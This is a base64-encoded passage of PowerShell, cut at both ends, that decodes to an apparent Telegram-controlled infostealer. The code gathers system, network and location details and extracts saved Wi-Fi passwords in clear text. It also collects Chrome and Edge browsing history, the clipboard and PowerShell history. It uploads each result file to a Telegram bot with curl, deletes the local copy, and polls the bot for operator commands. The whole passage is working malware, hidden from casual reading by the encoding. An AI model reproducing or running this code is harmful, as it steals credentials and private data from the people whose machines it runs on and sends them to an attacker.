pbjMyX05ldHdvcmtBZGFwdGVyQ29uZmlndXJhdGlvbiB8IHdoZXJlIHsgJF8uTUFDQWRkcmVzcyAtbm90bGlrZSAkbnVsbCB9ICB8IHNlbGVjdCBJbmRleCwgRGVzY3JpcHRpb24sIElQQWRkcmVzcywgRGVmYXVsdElQR2F0ZXdheSwgTUFDQWRkcmVzcyB8IEZvcm1hdC1UYWJsZSBJbmRleCwgRGVzY3JpcHRpb24sIElQQWRkcmVzcywgRGVmYXVsdElQR2F0ZXdheSwgTUFDQWRkcmVzcyANCiRjb21wdXRlclN5c3RlbSA9IEdldC1DaW1JbnN0YW5jZSBDSU1fQ29tcHV0ZXJTeXN0ZW0NCiRjb21wdXRlckJJT1MgPSBHZXQtQ2ltSW5zdGFuY2UgQ0lNX0JJT1NFbGVtZW50DQokY29tcHV0ZXJPcz1HZXQtV21pT2JqZWN0IHdpbjMyX29wZXJhdGluZ3N5c3RlbSB8IHNlbGVjdCBDYXB0aW9uLCBDU05hbWUsIFZlcnNpb24sIEB7TmFtZT0iSW5zdGFsbERhdGUiO0V4cHJlc3Npb249eyhbV01JXScnKS5Db252ZXJ0VG9EYXRlVGltZSgkXy5JbnN0YWxsRGF0ZSl9fSAsIEB7TmFtZT0iTGFzdEJvb3RVcFRpbWUiO0V4cHJlc3Npb249eyhbV01JXScnKS5Db252ZXJ0VG9EYXRlVGltZSgkXy5MYXN0Qm9vdFVwVGltZSl9fSwgQHtOYW1lPSJMb2NhbERhdGVUaW1lIjtFeHByZXNzaW9uPXsoW1dNSV0nJykuQ29udmVydFRvRGF0ZVRpbWUoJF8uTG9jYWxEYXRlVGltZSl9fSwgQ3VycmVudFRpbWVab25lLCBDb3VudHJ5Q29kZSwgT1NMYW5ndWFnZSwgU2VyaWFsTnVtYmVyLCBXaW5kb3dzRGlyZWN0b3J5ICB8IEZvcm1hdC1MaXN0DQokY29tcHV0ZXJDcHU9R2V0LVdtaU9iamVjdCBXaW4zMl9Qcm9jZXNzb3IgfCBzZWxlY3QgRGV2aWNlSUQsIE5hbWUsIENhcHRpb24sIE1hbnVmYWN0dXJlciwgTWF4Q2xvY2tTcGVlZCwgTDJDYWNoZVNpemUsIEwyQ2FjaGVTcGVlZCwgTDNDYWNoZVNpemUsIEwzQ2FjaGVTcGVlZCB8IEZvcm1hdC1MaXN0DQokY29tcHV0ZXJNYWluYm9hcmQ9R2V0LVdtaU9iamVjdCBXaW4zMl9CYXNlQm9hcmQgfCBGb3JtYXQtTGlzdA0KJGNvbXB1dGVyUmFtQ2FwYWNpdHk9R2V0LVdtaU9iamVjdCBXaW4zMl9QaHlzaWNhbE1lbW9yeSB8IE1lYXN1cmUtT2JqZWN0IC1Qcm9wZXJ0eSBjYXBhY2l0eSAtU3VtIHwgJSB7ICJ7MDpOMX0gR0IiIC1mICgkXy5zdW0gLyAxR0IpfQ0KJGNvbXB1dGVyUmFtPUdldC1XbWlPYmplY3QgV2luMzJfUGh5c2ljYWxNZW1vcnkgfCBzZWxlY3QgRGV2aWNlTG9jYXRvciwgQHtOYW1lPSJDYXBhY2l0eSI7RXhwcmVzc2lvbj17ICJ7MDpOMX0gR0IiIC1mICgkXy5DYXBhY2l0eSAvIDFHQil9fSwgQ29uZmlndXJlZENsb2NrU3BlZWQsIENvbmZpZ3VyZWRWb2x0YWdlIHwgRm9ybWF0LVRhYmxlDQokdmlkZW9jYXJkPUdldC1XbWlPYmplY3QgV2luMzJfVmlkZW9Db250cm9sbGVyIHwgRm9ybWF0LVRhYmxlIE5hbWUsIFZpZGVvUHJvY2Vzc29yLCBEcml2ZXJWZXJzaW9uLCBDdXJyZW50SG9yaXpvbnRhbFJlc29sdXRpb24sIEN1cnJlbnRWZXJ0aWNhbFJlc29sdXRpb24NCiRIZGRzID0gR2V0LVdtaU9iamVjdCBXaW4zMl9Mb2dpY2FsRGlzayB8IHNlbGVjdCBEZXZpY2VJRCwgVm9sdW1lTmFtZSwgRmlsZVN5c3RlbSxAe05hbWU9IlNpemVfR0IiO0V4cHJlc3Npb249eyJ7MDpOMX0gR0IiIC1mICgkXy5TaXplIC8gMUdiKX19LCBAe05hbWU9IkZyZWVTcGFjZV9HQiI7RXhwcmVzc2lvbj17InswOk4xfSBHQiIgLWYgKCRfLkZyZWVTcGFjZSAvIDFHYil9fSwgQHtOYW1lPSJGcmVlU3BhY2VfcGVyY2VudCI7RXhwcmVzc2lvbj17InswOk4xfSUiIC1mICgoMTAwIC8gKCRfLlNpemUgLyAkXy5GcmVlU3BhY2UpKSl9fSB8IEZvcm1hdC1UYWJsZSBEZXZpY2VJRCwgVm9sdW1lTmFtZSxGaWxlU3lzdGVtLEB7IE5hbWU9IlNpemUgR0IiOyBFeHByZXNzaW9uPXskXy5TaXplX0dCfTsgYWxpZ249InJpZ2h0IjsgfSwgQHsgTmFtZT0iRnJlZVNwYWNlIEdCIjsgRXhwcmVzc2lvbj17JF8uRnJlZVNwYWNlX0dCfTsgYWxpZ249InJpZ2h0IjsgfSwgQHsgTmFtZT0iRnJlZVNwYWNlICUiOyBFeHByZXNzaW9uPXskXy5GcmVlU3BhY2VfcGVyY2VudH07IGFsaWduPSJyaWdodCI7IH0NCiRDT01EZXZpY2VzID0gR2V0LVdtaW9iamVjdCBXaW4zMl9VU0JDb250cm9sbGVyRGV2aWNlIHwgRm9yRWFjaC1PYmplY3R7W1dtaV0oJF8uRGVwZW5kZW50KX0gfCBTZWxlY3QtT2JqZWN0IE5hbWUsIERldmljZUlELCBNYW51ZmFjdHVyZXIgfCBTb3J0LU9iamVjdCAtRGVzY2VuZGluZyBOYW1lIHwgRm9ybWF0LVRhYmxlDQokc3lzdGVtTG9jYWxlID0gR2V0LVdpblN5c3RlbUxvY2FsZTskc3lzdGVtTGFuZ3VhZ2UgPSAkc3lzdGVtTG9jYWxlLk5hbWUNCiR1c2VyTGFuZ3VhZ2VMaXN0ID0gR2V0LVdpblVzZXJMYW5ndWFnZUxpc3Q7JGtleWJvYXJkTGF5b3V0SUQgPSAkdXNlckxhbmd1YWdlTGlzdFswXS5JbnB1dE1ldGhvZFRpcHNbMF0NCkFkZC1UeXBlIC1Bc3NlbWJseU5hbWUgU3lzdGVtLkRldmljZTskR2VvbG9jYXRlID0gTmV3LU9iamVjdCBTeXN0ZW0uRGV2aWNlLkxvY2F0aW9uLkdlb0Nvb3JkaW5hdGVXYXRjaGVyOyRHZW9sb2NhdGUuU3RhcnQoKQ0Kd2hpbGUgKCgkR2VvbG9jYXRlLlN0YXR1cyAtbmUgJ1JlYWR5JykgLWFuZCAoJEdlb2xvY2F0ZS5QZXJtaXNzaW9uIC1uZSAnRGVuaWVkJykpIHtTdGFydC1TbGVlcCAtTWlsbGlzZWNvbmRzIDEwMH0gIA0KJEdlb2xvY2F0ZS5Qb3NpdGlvbi5Mb2NhdGlvbiB8IFNlbGVjdCBMYXRpdHVkZSxMb25naXR1ZGUNCiRvdXRzc2lkPSIiOyRhPTA7JHdzPShuZXRzaCB3bGFuIHNob3cgcHJvZmlsZXMpIC1yZXBsYWNlICIuKjpccysiO2ZvcmVhY2goJHMgaW4gJHdzKXsNCmlmKCRhIC1ndCAxIC1BbmQgJHMgLU5vdE1hdGNoICIgcG9saWN5ICIgLUFuZCAkcyAtbmUgIlVzZXIgcHJvZmlsZXMiIC1BbmQgJHMgLU5vdE1hdGNoICItLS0tLSIgLUFuZCAkcyAtTm90TWF0Y2ggIjxOb25lPiIgLUFuZCAkcy5sZW5ndGggLWd0IDUpeyRzc2lkPSRzLlRyaW0oKTtpZigkcyAtTWF0Y2ggIjoiKXskc3NpZD0kcy5TcGxpdCgiOiIpWzFdLlRyaW0oKX0NCiRwdz0obmV0c2ggd2xhbiBzaG93IHByb2ZpbGVzIG5hbWU9JHNzaWQga2V5PWNsZWFyKTskcGFzcz0iTm9uZSI7Zm9yZWFjaCgkcCBpbiAkcHcpe2lmKCRwIC1NYXRjaCAiS2V5IENvbnRlbnQiKXskcGFzcz0kcC5TcGxpdCgiOiIpWzFdLlRyaW0oKTskb3V0c3NpZCs9IlNTSUQ6ICRzc2lkIDogUGFzc3dvcmQ6ICRwYXNzYG4ifX19JGErKzt9DQokb3V0cGF0aCA9ICIkZW52OnRlbXBcU3lzdGVtSW5mby50eHQiDQoiVVNFUiBJTkZPIGBuID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSQ0KIkZ1bGwgTmFtZSAgICAgICAgICA6ICRmdWxsTmFtZSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJFbWFpbCBBZGRyZXNzICAgICAgOiAkZW1haWwiIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiTG9jYXRpb24gICAgICAgICAgIDogJEdlb2xvY2F0ZSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJDb21wdXRlciBOYW1lICAgICAgOiAkZW52OkNPTVBVVEVSTkFNRSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJMYW5ndWFnZSAgICAgICAgICAgOiAkc3lzdGVtTGFuZ3VhZ2UiIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiS2V5Ym9hcmQgTGF5b3V0ICAgIDogJGtleWJvYXJkTGF5b3V0SUQiIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiYG4iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiTkVUV09SSyBJTkZPIGBuID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiUHVibGljIElQICAgICAgICAgIDogJGNvbXB1dGVyUHViSVAiIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiU2F2ZWQgTmV0d29ya3MgICAgIDogJG91dHNzaWQiIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiTG9jYWwgSVAgICAgICAgICAgIGBuIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkb3V0cGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KKCRjb21wdXRlcklQfCBPdXQtU3RyaW5nKSB8IE91dC1GaWxlIC1GaWxlUGF0aCAkb3V0cGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KIkFkYXB0ZXJzICAgICAgICAgICBgbiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCigkbmV0d29ya3wgT3V0LVN0cmluZykgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJgbiIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJIQVJEV0FSRSBJTkZPIGBuID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiY29tcHV0ZXIgICAgICAgICAgIDogJGNvbXB1dGVyU3lzdGVtIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkb3V0cGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KIkJJT1MgSW5mbyAgICAgICAgICA6ICRjb21wdXRlckJJT1MiIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiUkFNIEluZm8gICAgICAgICAgIDogJGNvbXB1dGVyUmFtQ2FwYWNpdHkiIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQooJGNvbXB1dGVyUmFtfCBPdXQtU3RyaW5nKSB8IE91dC1GaWxlIC1GaWxlUGF0aCAkb3V0cGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KIk9TIEluZm8gICAgICAgICAgICBgbiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCigkY29tcHV0ZXJPc3wgT3V0LVN0cmluZykgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJDUFUgSW5mbyAgICAgICAgICAgYG4gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQooJGNvbXB1dGVyQ3B1fCBPdXQtU3RyaW5nKSB8IE91dC1GaWxlIC1GaWxlUGF0aCAkb3V0cGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KIkdyYXBoaWNzIEluZm8gICAgICBgbiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCigkdmlkZW9jYXJkfCBPdXQtU3RyaW5nKSB8IE91dC1GaWxlIC1GaWxlUGF0aCAkb3V0cGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KIkhERCBJbmZvICAgICAgICAgICBgbiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCigkSGRkc3wgT3V0LVN0cmluZykgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJVU0IgSW5mbyAgICAgICAgICAgYG4gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQooJENPTURldmljZXN8IE91dC1TdHJpbmcpIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiYG4iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQokRmlsZVBhdGggPSAiJGVudjp0ZW1wXFN5c3RlbUluZm8udHh0Ig0KY3VybC5leGUgLUYgY2hhdF9pZD0iJENoYXRJRCIgLUYgZG9jdW1lbnQ9QCIkRmlsZVBhdGgiICJodHRwczovL2FwaS50ZWxlZ3JhbS5vcmcvYm90JFRva2VuL3NlbmREb2N1bWVudCIgfCBPdXQtTnVsbA0KUmVtb3ZlLUl0ZW0gLVBhdGggJEZpbGVQYXRoIC1Gb3JjZQ0KfQ0KDQoNCkZ1bmN0aW9uIFNvZnR3YXJlSW5mb3sNCiRwcm9jZXNzPUdldC1XbWlPYmplY3Qgd2luMzJfcHJvY2VzcyB8IHNlbGVjdCBIYW5kbGUsIFByb2Nlc3NOYW1lLCBFeGVjdXRhYmxlUGF0aCwgQ29tbWFuZExpbmUNCiRzZXJ2aWNlPUdldC1DaW1JbnN0YW5jZSAtQ2xhc3NOYW1lIFdpbjMyX1NlcnZpY2UgfCBzZWxlY3QgU3RhdGUsTmFtZSxTdGFydE5hbWUsUGF0aE5hbWUgfCBXaGVyZS1PYmplY3QgeyRfLlN0YXRlIC1saWtlICdSdW5uaW5nJ30NCiRzb2Z0d2FyZT1HZXQtSXRlbVByb3BlcnR5IEhLTE06XFNvZnR3YXJlXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFVuaW5zdGFsbFwqIHwgd2hlcmUgeyAkXy5EaXNwbGF5TmFtZSAtbm90bGlrZSAkbnVsbCB9IHwgIFNlbGVjdC1PYmplY3QgRGlzcGxheU5hbWUsIERpc3BsYXlWZXJzaW9uLCBQdWJsaXNoZXIsIEluc3RhbGxEYXRlIHwgU29ydC1PYmplY3QgRGlzcGxheU5hbWUgfCBGb3JtYXQtVGFibGUgLUF1dG9TaXplDQokZHJpdmVycz1HZXQtV21pT2JqZWN0IFdpbjMyX1BuUFNpZ25lZERyaXZlcnwgd2hlcmUgeyAkXy5EZXZpY2VOYW1lIC1ub3RsaWtlICRudWxsIH0gfCBzZWxlY3QgRGV2aWNlTmFtZSwgRnJpZW5kbHlOYW1lLCBEcml2ZXJQcm92aWRlck5hbWUsIERyaXZlclZlcnNpb24NCiRvdXRwYXRoID0gIiRlbnY6dGVtcFxTb2Z0d2FyZUluZm8udHh0Ig0KIlNPRlRXQVJFIElORk8gYG4gPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJJbnN0YWxsZWQgU29mdHdhcmUgYG4gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQooJHNvZnR3YXJlfCBPdXQtU3RyaW5nKSB8IE91dC1GaWxlIC1GaWxlUGF0aCAkb3V0cGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KIlByb2Nlc3NlcyAgICAgICAgICBgbiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCigkcHJvY2Vzc3wgT3V0LVN0cmluZykgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJTZXJ2aWNlcyAgICAgICAgICAgYG4gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQooJHNlcnZpY2V8IE91dC1TdHJpbmcpIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiRHJpdmVycyAgICAgICAgICAgIDogJGRyaXZlcnMiIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiYG4iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQokRmlsZVBhdGggPSAiJGVudjp0ZW1wXFNvZnR3YXJlSW5mby50eHQiDQpjdXJsLmV4ZSAtRiBjaGF0X2lkPSIkQ2hhdElEIiAtRiBkb2N1bWVudD1AIiRGaWxlUGF0aCIgImh0dHBzOi8vYXBpLnRlbGVncmFtLm9yZy9ib3QkVG9rZW4vc2VuZERvY3VtZW50IiB8IE91dC1OdWxsDQpSZW1vdmUtSXRlbSAtUGF0aCAkRmlsZVBhdGggLUZvcmNlDQp9DQoNCg0KRnVuY3Rpb24gSGlzdG9yeUluZm97DQokUmVnZXggPSAnKGh0dHB8aHR0cHMpOi8vKFtcdy1dK1wuKStbXHctXSsoL1tcdy0gLi8/JSY9XSopKj8nOyRQYXRoID0gIiRFbnY6VVNFUlBST0ZJTEVcQXBwRGF0YVxMb2NhbFxHb29nbGVcQ2hyb21lXFVzZXIgRGF0YVxEZWZhdWx0XEhpc3RvcnkiDQokVmFsdWUgPSBHZXQtQ29udGVudCAtUGF0aCAkUGF0aCB8IFNlbGVjdC1TdHJpbmcgLUFsbE1hdGNoZXMgJHJlZ2V4IHwlIHsoJF8uTWF0Y2hlcykuVmFsdWV9IHxTb3J0IC1VbmlxdWUNCiRWYWx1ZSB8IEZvckVhY2gtT2JqZWN0IHskS2V5ID0gJF87aWYgKCRLZXkgLW1hdGNoICRTZWFyY2gpe05ldy1PYmplY3QgLVR5cGVOYW1lIFBTT2JqZWN0IC1Qcm9wZXJ0eSBAe1VzZXIgPSAkZW52OlVzZXJOYW1lO0Jyb3dzZXIgPSAnY2hyb21lJztEYXRhVHlwZSA9ICdoaXN0b3J5JztEYXRhID0gJF99fX0NCiRSZWdleDIgPSAnKGh0dHB8aHR0cHMpOi8vKFtcdy1dK1wuKStbXHctXSsoL1tcdy0gLi8/JSY9XSopKj8nOyRQYXRoZWQgPSAiJEVudjpVU0VSUFJPRklMRVxBcHBEYXRhXExvY2FsXE1pY3Jvc29mdC9FZGdlL1VzZXIgRGF0YS9EZWZhdWx0L0hpc3RvcnkiDQokVmFsdWUyID0gR2V0LUNvbnRlbnQgLVBhdGggJFBhdGhlZCB8IFNlbGVjdC1TdHJpbmcgLUFsbE1hdGNoZXMgJHJlZ2V4MiB8JSB7KCRfLk1hdGNoZXMpLlZhbHVlfSB8U29ydCAtVW5pcXVlDQokVmFsdWUyIHwgRm9yRWFjaC1PYmplY3QgeyRLZXkgPSAkXztpZiAoJEtleSAtbWF0Y2ggJFNlYXJjaCl7TmV3LU9iamVjdCAtVHlwZU5hbWUgUFNPYmplY3QgLVByb3BlcnR5IEB7VXNlciA9ICRlbnY6VXNlck5hbWU7QnJvd3NlciA9ICdjaHJvbWUnO0RhdGFUeXBlID0gJ2hpc3RvcnknO0RhdGEgPSAkX319fQ0KJHBzaGlzdCA9ICIkZW52OlVTRVJQUk9GSUxFXEFwcERhdGFcUm9hbWluZ1xNaWNyb3NvZnRcV2luZG93c1xQb3dlclNoZWxsXFBTUmVhZExpbmVcQ29uc29sZUhvc3RfaGlzdG9yeS50eHQiOyRwc2hpc3RvcnkgPSBHZXQtQ29udGVudCAkcHNoaXN0IC1yYXcNCiRvdXRwYXRoID0gIiRlbnY6dGVtcFxIaXN0b3J5LnR4dCINCiJISVNUT1JZIElORk8gYG4gPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSBgbiIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJDbGlwYm9hcmQgICAgICAgICAgYG4gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQooR2V0LUNsaXBib2FyZCB8IE91dC1TdHJpbmcpIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiQnJvd3NlciBIaXN0b3J5ICAgIGBuIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkb3V0cGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KKCRWYWx1ZXwgT3V0LVN0cmluZykgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCigkVmFsdWUyfCBPdXQtU3RyaW5nKSB8IE91dC1GaWxlIC1GaWxlUGF0aCAkb3V0cGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KIlBvd2Vyc2hlbGwgSGlzdG9yeSBgbiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCigkcHNoaXN0b3J5fCBPdXQtU3RyaW5nKSB8IE91dC1GaWxlIC1GaWxlUGF0aCAkb3V0cGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KImBuIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkb3V0cGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KJEZpbGVQYXRoID0gIiRlbnY6dGVtcFxIaXN0b3J5LnR4dCINCmN1cmwuZXhlIC1GIGNoYXRfaWQ9IiRDaGF0SUQiIC1GIGRvY3VtZW50PUAiJEZpbGVQYXRoIiAiaHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2JvdCRUb2tlbi9zZW5kRG9jdW1lbnQiIHwgT3V0LU51bGwNClJlbW92ZS1JdGVtIC1QYXRoICRGaWxlUGF0aCAtRm9yY2UNCn0NCg0KRnVuY3Rpb24gU2hvd0J1dHRvbnN7DQokbWVzc2FnZWhlYWQgPSAiUHJlc3MgYSBCdXR0b24gdG8gQ29udGludWUuLi4iDQokaW5saW5lS2V5Ym9hcmRKc29uID0gJ3siaW5saW5lX2tleWJvYXJkIjpbW3sidGV4dCI6ICJFbnRlciBDb21tYW5kcyIsImNhbGxiYWNrX2RhdGEiOiAiYnV0dG9uX2NsaWNrZWQifSx7InRleHQiOiAiT3B0aW9ucyIsImNhbGxiYWNrX2RhdGEiOiAiYnV0dG9uMl9jbGlja2VkIn1dXX0nDQokcGFyYW1lcnMgPSBAew0KICAgIGNoYXRfaWQgPSAkY2hhdElkDQogICAgdGV4dCA9ICRtZXNzYWdlaGVhZA0KICAgIHJlcGx5X21hcmt1cCA9ICRpbmxpbmVLZXlib2FyZEpzb24NCn0NCkludm9rZS1SZXN0TWV0aG9kIC1VcmkgJGFwaVVybCAtTWV0aG9kIFBPU1QgLUNvbnRlbnRUeXBlICJhcHBsaWNhdGlvbi9qc29uIiAtQm9keSAoJHBhcmFtZXJzIHwgQ29udmVydFRvLUpzb24gLURlcHRoIDEwKQ0KJGtpbGxpbnQgPSAwDQokb2Zmc2V0ID0gMA0Kd2hpbGUgKCRraWxsaW50IC1lcSAwKSB7DQogICAgJHVwZGF0ZXMgPSBJbnZva2UtUmVzdE1ldGhvZCAtVXJpICJodHRwczovL2FwaS50ZWxlZ3JhbS5vcmcvYm90JFRva2VuL2dldFVwZGF0ZXM/b2Zmc2V0PSRvZmZzZXQiIC1NZXRob2QgR2V0DQogICAgZm9yZWFjaCAoJHVwZGF0ZSBpbiAkdXBkYXRlcy5yZXN1bHQpIHsNCiAgICAgICAgJG9mZnNldCA9ICR1cGRhdGUudXBkYXRlX2lkICsgMQ0KICAgICAgICBTbGVlcCAxDQogICAgICAgIGlmICgkdXBkYXRlLmNhbGxiYWNrX3F1ZXJ5LmRhdGEgLWVxICJidXR0b25fY2xpY2tlZCIpIHsNCiAgICAgICAgICAgICRraWxsaW50ID0gMQ0KICAgICAgICB9DQogICAgICAgIGlmICgkdXBkYXRlLmNhbGxiYWNrX